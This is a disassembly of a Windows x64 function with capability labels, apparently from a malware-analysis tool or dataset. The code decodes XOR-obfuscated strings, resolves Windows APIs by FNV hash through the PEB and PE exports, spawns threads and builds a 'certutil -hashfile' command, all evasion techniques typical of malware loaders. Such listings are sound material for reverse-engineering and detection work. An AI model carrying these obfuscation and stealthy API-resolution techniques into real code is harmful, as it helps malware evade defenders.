Function at 0x140060f90
Capabilities:
Access peb ldr_data
Create process on windows
Create thread
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x9f0]
sub rsp, 0xaf0
mov rax, qword [0x140139f00]
xor rax, rsp
mov qword [rbp + 0x9e0], rax
mov r14, rcx
mov qword [rbp + 0x70], rcx
xor r12d, r12d
mov dword [rbp - 0x48], r12d
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x140067870]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [rbp + 0x868]
call fcn.1400602f0
nop
lea rdx, [rbp + 0x868]
cmp qword [rbp + 0x880], 0xf
cmova rdx, qword [rbp + 0x868]
mov r8, qword [rbp + 0x878]
lea rcx, [section..data]
call fcn.1400389b0
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x1400663f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp qword [r14 + 0x30], 0xa
je 0x140061196
movdqa xmm0, xmmword [0x1400f8690]
movdqa xmmword [rbp + 0x130], xmm0
movdqa xmm1, xmmword [0x1400f86b0]
movdqa xmmword [rbp + 0x140], xmm1
movdqa xmm0, xmmword [0x1400f86e0]
movdqa xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [0x1400f8790]
movdqa xmmword [rbp + 0x160], xmm1
mov dword [rbp + 0x170], 0xa0ecafa9
mov dword [rbp + 0x174], 0x100b5b4
mov ecx, r12d
nop dword [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx + 0x130], al
inc rcx
cmp rcx, 0x46
jb 0x1400610b0
mov byte [rbp + 0x177], 0
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rbp + 0x130]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140061176
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140061176
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xdd78399e
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140061171
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140061150
cmp r8d, 0xebb2ba26
je 0x14006117b
test r9d, r9d
jne 0x140061130
mov rax, qword [rax]
jmp 0x140061100
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
lea rcx, [rbp + 0x818]
call fcn.14005cd00
nop
call fcn.14006b0e0
mov qword [rsp + 0x48], rax
mov dword [rbp + 0x40], 0xedf5eea6
mov dword [rbp + 0x44], 0xe3eff7e1
mov word [rbp + 0x48], 0xb5
mov byte [rbp + 0x4a], 1
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x1400611d2
mov rdx, qword [r14]
xor r8d, r8d
mov rcx, rax
call fcn.140069ae0
mov rbx, rax
mov dword [rbp - 0x28], 0xeee3efa6
mov dword [rbp - 0x24], 0x100b8e1
mov dword [rbp - 0x30], 0xf0e3e9a6
mov dword [rbp - 0x2c], 0x100b8ec
mov dword [rsp + 0x50], 0xf1e7f7a6
mov word [rsp + 0x54], 0xb9
mov byte [rsp + 0x56], 1
mov dword [rbp - 0x78], 0xe6f2f8f4
mov dword [rbp - 0x74], 0xeee8ecb9
mov word [rbp - 0x70], 0xfc
mov byte [rbp - 0x6e], 1
mov rcx, r12
nop dword [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 5
jb 0x140061230
mov byte [rsp + 0x56], 0
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x55]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x230]
call fcn.140046c20
nop
cmp byte [rbp - 0x6e], 0
je 0x140061284
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx - 0x78], al
inc rcx
cmp rcx, 9
jb 0x140061270
mov byte [rbp - 0x6e], 0
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x6f]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x2d0]
call fcn.140046c20
nop
lea r9, [rbp + 0x230]
lea r8, [rbp + 0x2d0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x250]
call fcn.140048540
nop
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0xf
jbe 0x140061302
inc rdx
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400612fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400612fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2094
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0x2e0], xmm0
mov byte [rbp + 0x2d0], 0
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x14006135a
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061355
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400632c1
call fcn.1400f2094
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0x240], xmm0
mov byte [rbp + 0x230], 0
lea rdx, [r14 + 0x40]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140061383
mov rdx, qword [rdx]
lea rcx, [rbp + 0x250]
call fcn.140038920
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x330]
call fcn.140056d50
nop
lea rdx, [rbp + 0x818]
cmp qword [rbp + 0x830], 0xf
cmova rdx, qword [rbp + 0x818]
mov r8, qword [rbp + 0x828]
mov rcx, rax
call fcn.140038920
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rbp - 0x28]
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x310]
call fcn.140056d50
nop
mov r13, 0xffffffffffffffff
mov r8, r13
inc r8
cmp byte [rbx + r8], 0
jne 0x140061461
mov rdx, rbx
mov rcx, rax
call fcn.140038920
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x2f0]
call fcn.140056e30
nop
lea rdx, [r14 + 0x20]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x1400614d9
mov rdx, qword [rdx]
mov rcx, rax
call fcn.140038920
xorps xmm0, xmm0
movups xmmword [rbp + 0x7b8], xmm0
mov qword [rbp + 0x7c8], r12
mov qword [rbp + 0x7d0], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x7b8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x7c8], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov edi, 0x3fc
mov dword [rbp - 0x48], edi
mov rdx, qword [rbp + 0x308]
cmp rdx, 0xf
jbe 0x140061569
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061564
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140061564
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2094
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0x300], xmm0
mov byte [rbp + 0x2f0], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x1400615c4
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400615bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400615bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2094
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], 0
mov rdx, qword [rbp + 0x328]
cmp rdx, 0xf
jbe 0x14006161f
inc rdx
mov rcx, qword [rbp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006161a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006161a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2094
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0x320], xmm0
mov byte [rbp + 0x310], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14006167a
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061675
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140061675
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2094
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp + 0x348]
cmp rdx, 0xf
jbe 0x1400616d5
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400616d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400616d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2094
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0x340], xmm0
mov byte [rbp + 0x330], 0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x140061730
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006172b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006172b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2094
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0x110], xmm0
mov byte [rbp + 0x100], 0
mov rdx, qword [rbp + 0x268]
cmp rdx, 0xf
jbe 0x140061788
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061783
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140063264
call fcn.1400f2094
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0x260], xmm0
mov byte [rbp + 0x250], 0
lea rbx, [r14 + 0x80]
mov rax, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x1400617b4
mov rbx, qword [rbx]
cmp rax, 5
jb 0x140061989
lea rsi, [rax + rbx]
lea r8, [rsi - 4]
sub r8, rbx
mov edx, 0x68
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
je 0x140061989
lea r15, str.https
nop dword [rax]
mov rcx, r12
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [r15 + rcx - 1]
jne 0x14006181a
cmp rcx, 5
jne 0x140061800
mov eax, r12d
jmp 0x14006181f
sbb eax, eax
or eax, 1
test eax, eax
je 0x140061847
inc r9
lea r8, [rsi - 4]
sub r8, r9
mov edx, 0x68
mov rcx, r9
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
jne 0x1400617f0
jmp 0x140061989
sub r9, rbx
cmp r9, 0xffffffffffffffff
je 0x140061989
movdqa xmm0, xmmword [0x1400f8820]
movdqa xmmword [rbp + 0x370], xmm0
movdqa xmm1, xmmword [0x1400f8840]
movdqa xmmword [rbp + 0x380], xmm1
movdqa xmm0, xmmword [0x1400f87b0]
movdqa xmmword [rbp + 0x390], xmm0
movdqa xmm1, xmmword [0x1400f8510]
movdqa xmmword [rbp + 0x3a0], xmm1
mov byte [rbp + 0x3b0], 1
mov rcx, r12
nop
lea eax, [rcx - 0x80]
xor byte [rbp + rcx + 0x370], al
inc rcx
cmp rcx, 0x3f
jb 0x1400618a0
mov byte [rbp + 0x3b0], 0
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rbp + 0x370]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140061966
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140061966
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x96cb92dc
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140061961
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140061940
cmp r8d, 0x989dca0c
je 0x14006196b
test r9d, r9d
jne 0x140061920
mov rax, qword [rax]
jmp 0x1400618f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov edi, dword [rbp - 0x48]
lea rcx, [r14 + 0x80]
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x14006199e
mov rcx, qword [rcx]
test r8, r8
jne 0x1400619c1
lea rdx, [0x140115dc2]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400619c1
cmp qword [r14 + 0x90], 0
je 0x1400621f1
lea rdx, [r14 + 0x80]
xor r8d, r8d
lea rcx, [rbp + 0x620]
call fcn.140046820
nop
lea rcx, [rbp + 0x620]
call fcn.14003f730
movzx ebx, al
lea rcx, [rbp + 0x620]
call fcn.14003ee90
test bl, bl
jne 0x140061b24
movdqa xmm0, xmmword [0x1400f8650]
movdqu xmmword [rbp + 0x1a0], xmm0
movdqa xmm1, xmmword [0x1400f8890]
movdqu xmmword [rbp + 0x1b0], xmm1
movdqa xmm0, xmmword [0x1400f8760]
movdqu xmmword [rbp + 0x1c0], xmm0
mov word [rbp + 0x1d0], 0x9e
mov byte [rbp + 0x1d2], 1
mov rcx, r12
nop
lea eax, [rcx - 0x80]
xor byte [rbp + rcx + 0x1a0], al
inc rcx
cmp rcx, 0x31
jb 0x140061a40
mov byte [rbp + 0x1d2], 0
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rbp + 0x1a0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140061b04
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140061b04
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x879890a5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140061aff
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140061ae0
cmp edx, 0xc8f165
je 0x140061b09
test r9d, r9d
jne 0x140061ac0
mov rax, qword [rax]
jmp 0x140061a90
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor ecx, ecx
call rax
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x8b0]
call sub.VCRUNTIME140.dll_memset
lea rbx, [r14 + 0x80]
cmp qword [rbx + 0x18], 0xf
jbe 0x140061b49
mov rbx, qword [rbx]
lea rax, [0x140123ba8]
mov qword [rbp + 0x8b0], rax
lea rcx, [rbp + 0x960]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x48], 0xbfc
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp + 0x8b0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x8b0]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x8b0], rdi
mov rax, qword [rbp + 0x8b0]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0xb0]
mov dword [rbp + rcx + 0x8ac], r8d
lea rcx, [rbp + 0x8c0]
call fcn.140045df0
nop
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
mov rdx, rbx
lea rcx, [rbp + 0x8c0]
call fcn.140045cb0
test rax, rax
jne 0x140061c09
mov rax, qword [rbp + 0x8b0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x8b0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x8b0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x8b0], rdi
mov rax, qword [rbp + 0x8b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x8ac], edx
xorps xmm0, xmm0
movups xmmword [rbp + 0x7d8], xmm0
mov qword [rbp + 0x7e8], r12
mov qword [rbp + 0x7f0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x7d8], 0
movups xmmword [rbp + 0x848], xmm0
movdqa xmm1, xmmword [0x140124670]
movdqu xmmword [rbp + 0x858], xmm1
mov byte [rbp + 0x848], 0
mov rax, qword [rbp + 0x8b0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x8b0]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x7d8]
lea rcx, [rbp + 0x8b0]
call fcn.140057ae0
movdqa xmm0, xmmword [0x1400f8680]
movdqu xmmword [rbp + 0x3e0], xmm0
movdqa xmm1, xmmword [0x1400f86d0]
movdqu xmmword [rbp + 0x3f0], xmm1
movdqa xmm0, xmmword [0x1400f85e0]
movdqu xmmword [rbp + 0x400], xmm0
mov word [rbp + 0x410], 0x100
lea r8, [r14 + 0x80]
mov rcx, qword [r8 + 0x10]
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
sub rax, rcx
cmp rax, 0x14
jb 0x1400633b7
mov rax, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x140061d14
mov rax, qword [r8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], reloc.WS2_32.dll_sendto
lea r9, str.certutil__hashfile__
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x180]
call fcn.140048740
nop
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x2b0]
call fcn.140056f10
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140061d65
mov rax, qword [rax]
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rsp + 0x40]
call fcn.14005aff0
mov rdx, rax
lea rcx, [rbp + 0x848]
call fcn.14005a9b0
mov r8, qword [rbp + 0x288]
cmp r8, 0xf
jbe 0x140061da8
mov rdx, qword [rbp + 0x270]
lea rcx, [rbp + 0x270]
call fcn.140038b20
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0x280], xmm0
mov byte [rbp + 0x270], 0
mov r8, qword [rbp + 0x2c8]
cmp r8, 0xf
jbe 0x140061ddf
mov rdx, qword [rbp + 0x2b0]
lea rcx, [rbp + 0x2b0]
call fcn.140038b20
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0x2c0], xmm0
mov byte [rbp + 0x2b0], 0
mov r8, qword [rbp + 0x198]
cmp r8, 0xf
jbe 0x140061e16
mov rdx, qword [rbp + 0x180]
lea rcx, [rbp + 0x180]
call fcn.140038b20
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0x190], xmm0
mov byte [rbp + 0x180], 0
mov dword [rsp + 0x58], 0xe8edf5a6
mov dword [rsp + 0x5c], 0xbbebe1
mov byte [rsp + 0x60], 1
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rsp + rcx + 0x58], al
inc rcx
cmp rcx, 7
jb 0x140061e50
mov byte [rsp + 0x60], 0
lea rax, [rsp + 0x58]
mov rbx, r13
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140061e70
mov r15, qword [rbp + 0x7e8]
mov rax, rdi
sub rax, r15
cmp rax, rbx
jb 0x1400633b7
lea r12, [rbp + 0x7d8]
cmp qword [rbp + 0x7f0], 0xf
cmova r12, qword [rbp + 0x7d8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x88], xmm1
lea r14, [r15 + rbx]
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0x78]
cmp r14, rdi
jbe 0x140061f51
mov rdi, r14
or rdi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
jbe 0x140061f14
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400f1d40
test rax, rax
je 0x140062106
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140061f4d
mov eax, socket
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140061f3c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400633bd
jmp 0x140061ef5
test rcx, rcx
je 0x140061f4b
call fcn.1400f1d40
mov rsi, rax
jmp 0x140061f4d
xor esi, esi
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x88], r14
mov qword [rbp + 0x90], rdi
mov r8, rbx
lea rdx, [rsp + 0x58]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + rbx]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r14], 0
mov edi, 0x1ffc
mov dword [rbp - 0x48], edi
mov rsi, qword [rbp + 0x88]
lea r9, [rbp + 0x78]
cmp qword [rbp + 0x90], 0xf
cmova r9, qword [rbp + 0x78]
mov r14, qword [rbp + 0x7c8]
mov rcx, qword [rbp + 0x7d0]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x140061ff4
lea rax, [r14 + rsi]
mov qword [rbp + 0x7c8], rax
lea rbx, [rbp + 0x7b8]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x7b8]
lea rcx, [rbx + r14]
mov r8, rsi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rbx]
mov byte [rax + r14], 0
jmp 0x14006200c
mov qword [rsp + 0x20], rsi
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp + 0x7b8]
call fcn.140039280
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x14006204a
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062045
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140062106
call fcn.1400f2094
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0x88], xmm0
mov byte [rbp + 0x78], 0
mov dword [rbp - 0x58], 0xe2eaf5a6
mov dword [rbp - 0x54], 0xbbedf7
mov byte [rbp - 0x50], 1
xor r12d, r12d
mov ecx, r12d
nop word [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx - 0x58], al
inc rcx
cmp rcx, 7
jb 0x140062080
mov byte [rbp - 0x50], r12b
mov r14, qword [rbp + 0x70]
lea r8, [r14 + 0x80]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x350]
call fcn.140046510
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1400620be
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x7b8]
call fcn.140038920
nop
mov rdx, qword [rbp + 0x368]
cmp rdx, 0xf
jbe 0x140062112
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006210d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006210d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2094
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0x360], xmm0
mov byte [rbp + 0x350], 0
mov r8, qword [rbp + 0x860]
cmp r8, 0xf
jbe 0x140062149
mov rdx, qword [rbp + 0x848]
lea rcx, [rbp + 0x848]
call fcn.140038b20
movdqa xmm0, xmmword [0x140124670]
movdqu xmmword [rbp + 0x858], xmm0
mov byte [rbp + 0x848], 0
mov r8, qword [rbp + 0x7f0]
cmp r8, 0xf
jbe 0x140062180
mov rdx, qword [rbp + 0x7d8]
lea rcx, [rbp + 0x7d8]
call fcn.140038b20
mov qword [rbp + 0x7e8], r12
mov qword [rbp + 0x7f0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x7d8], 0
mov rax, qword [rbp + 0x8b0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x8b0], rax
mov rax, qword [rbp + 0x8b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x8ac], edx
lea rcx, [rbp + 0x8c0]
call fcn.140043180
lea rcx, [rbp + 0x8c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x960]
